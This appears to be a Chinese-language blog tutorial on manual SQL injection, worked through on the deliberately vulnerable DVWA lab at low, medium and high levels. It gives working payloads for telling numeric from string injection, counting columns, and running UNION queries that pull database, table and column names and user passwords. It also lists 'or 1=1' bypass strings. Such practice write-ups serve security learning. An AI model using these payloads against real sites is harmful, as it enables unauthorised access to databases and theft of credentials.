这不就是目录吗
首先记一次SQL手工注入流程
1、判断是否存在注入(注入是字符型还是数字型)
数字型:
当输入的参数x为整型时,通常a.php中的sql语句大致如下:
select * from <table_name> where id = x
就可以使用经典的and 1=1 和 and 1=2来判断:
(1)在url地址后输入and 1=1页面运行正常的话,进行下一步;
e.g:xxx.com/a.php?..x and 1=1
(2)把and 1=1修改为and 1=2 ,页面运行错误的话,就说明是数字型注入。
字符型:
当输入的参数x为字符型时,通常a.php中的sql语句大致如下:
select * from <table_name> where id = 'x'
使用and '1'='1 和 and '1'='2来判断:
(1)在url地址后输入and '1'='1页面运行正常的话,进行下一步;
e.g:xxx.com/a.php?..x' and '1'='1
(2)把and '1'='1修改为and '1'='2 ,页面运行错误的话,就说明是字符型注入。
2、判断字段长度
语句: order by 10(数字任意),根据页面返回的结果,来判断此站中的字段数。
3、判断回显位置
语句:union select 1,2,3,4,5,6# 联合查询
4、获取当前数据库
5、获取数据库中的表
6、获取表中的字段
7、获取数据
一般用于尝试的语句:
Ps:–+(减减加)可以用#替换,url 提交过程中 Url 编码后的#为%23
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
DVWA-SQL Injection(low级别)
输入 1 and 1=1 有回显,输入1 and 1=2 有回显
输入 1’ and ‘1’=’1 有回显,输入1’and ‘1’=‘2 无回显
说明是字符型:
猜解字段数:
输入 1’ order by 1#和 1’ order by 2#时都返回正常,输入 1’ order by 3#时,返回错误,说明 users表中只有两个字段,数据为两列
确定显示位置:
输入 1’union select 1,2#
如下图说明显示位为1和2
爆库:
1’union select 1,database()#
爆表:
1‘union select 1,group_concat(table_name)from information_schema.tables where table_schema=’dvwa’#
爆表中的列:
1’union select 1,group_concat(column_name)from information_schema.columns where table_name=’users’#
爆表中的数据:
1’union select user,password from users#
DVWA-SQL Injection(medium级别)
没有输入框,可用burp抓包,修改参数
说明此 Sql 注入为数字型注入。
下面步骤和low级别一样,所以就不在赘述,只上图。
说明 users表中只有两个字段,数据为两列
因为中级不能明文传输dvwa和users,所以改为16进制
DVWA-SQL Injection(high级别)
步骤相同,只上图。
切记在两个页面都打开时不要先关掉本页面,否则…你可以试试(偷笑)
说明此 Sql 注入为字符型注入。
大佬们多多指教